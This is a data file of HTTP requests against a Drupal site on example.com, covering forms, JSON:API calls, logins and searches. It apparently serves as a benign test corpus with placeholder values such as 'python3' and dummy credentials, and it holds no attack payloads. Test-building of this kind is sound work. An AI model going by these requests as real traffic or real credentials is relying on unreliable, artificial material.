{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-ExM1yju0J7E_BWsAPDga4ruGt4jNC4ZYZm2O6h3Hbgs&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=Example+notes&description%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-DsAWf9i7VTcgEpa_v2ezxxkRyrzx-e8Wydrq98CIpI0&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=Example+notes&description%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-r_rjIfS0iUft64xRiTbaT2lvCMr4ysWHJ-KnCvzaiNo&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+notes&body%5B0%5D%5Bvalue%5D=%3Cp%3EExample+notes%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-qHOBnxb51eUvXCKxKEbfbUtM6lzFgwT7itFH0f_FaPU&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+notes&body%5B0%5D%5Bvalue%5D=%3Cp%3EExample+notes%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-ABi6ln4cnnmfKcYRv2HvQFgXlHI5BTFDfMg-LwBU4aI&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=Example+notes&message%5B0%5D%5Bvalue%5D=Example+notes&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-arO8ZdOSVcFdDqJoz7AJLALB_5Jlut5LXJSnVQmFK8w&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=Example+notes&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=editor%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-Tww5TAI2JlLptGMeqDr8TrYVQtivoUUfQBqMEdAZEBc&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=Example+notes&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=editor&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-vfSxkkRUliHZ94RNDGQPYf7s4xzppLcOTEr_tFXggpE&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=Example-notes%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=Example+notes&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Example notes\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"Example notes\", \"description\": {\"value\": \"Example notes\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \"Example notes\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \"Example notes\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \"Example notes\"}}}"}
{"method": "GET", "target": "/user/password?name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fpython3&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=python3&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=python3&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"python3\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=python3&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=python3&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-jkxC5RRd1yqPKDrUvQVwKueTR4weU1P2jkPF6nGQvpg&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=python3&description%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-i9hhltnsmm1K1X9JXyY4H0BRz28FQ3444fpAFgg1kq4&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=python3&description%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-GV783kJBof1XiSjy8-C-hfHbtY1rY0M4sWjzXPwcPlc&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=python3&body%5B0%5D%5Bvalue%5D=%3Cp%3Epython3%3C%2Fp%3E&op=Save"}
